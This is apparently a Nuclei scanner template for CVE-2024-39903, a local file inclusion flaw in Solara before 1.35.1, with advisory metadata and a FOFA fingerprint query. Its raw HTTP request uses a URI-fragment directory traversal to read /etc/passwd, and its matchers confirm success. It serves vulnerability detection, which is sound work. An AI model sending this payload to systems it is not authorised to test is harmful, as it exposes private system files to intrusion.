id: CVE-2024-39903

info:
  name: Solara <1.35.1 - Local File Inclusion
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    A Local File Inclusion (LFI) vulnerability was identified in widgetti/solara, in version <1.35.1, which was fixed in version 1.35.1. This vulnerability arises from the application's failure to properly validate URI fragments for directory traversal sequences such as '../' when serving static files. An attacker can exploit this flaw by manipulating the fragment part of the URI to read arbitrary files on the local file system.
  impact: |
    Unauthenticated attackers can exploit LFI to read arbitrary files from the local filesystem.
  remediation: |
    Update Solara to version 1.35.1 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-39903
    - https://github.com/widgetti/solara/commit/df2fd66a7f4e8ffd36e8678697a8a4f76760dc54
    - https://github.com/widgetti/solara/security/advisories/GHSA-9794-pc4r-438w
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.6
    cve-id: CVE-2024-39903
    cwe-id: CWE-22
    epss-score: 0.02884
    epss-percentile: 0.8548
  metadata:
    fofa-query: icon_hash="-223126228"
    verified: true
    max-request: 1
  tags: cve,cve2024,solara,lfi,vuln

http:
  - raw:
      - |+
        GET /static/nbextensions/#/../../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    unsafe: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: regex
        part: content_type
        regex:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 490a00463044022040d7b532b2318af6e2ad3390f5f1cb43fe6b23fe52a0e24b9c930850e4f6ba80022075808c6c21421c52d7fe0b0871022ac1af4b7799b60be671e24c48a3ab9c1bd3:922c64590222798bb761d5b6d8e72950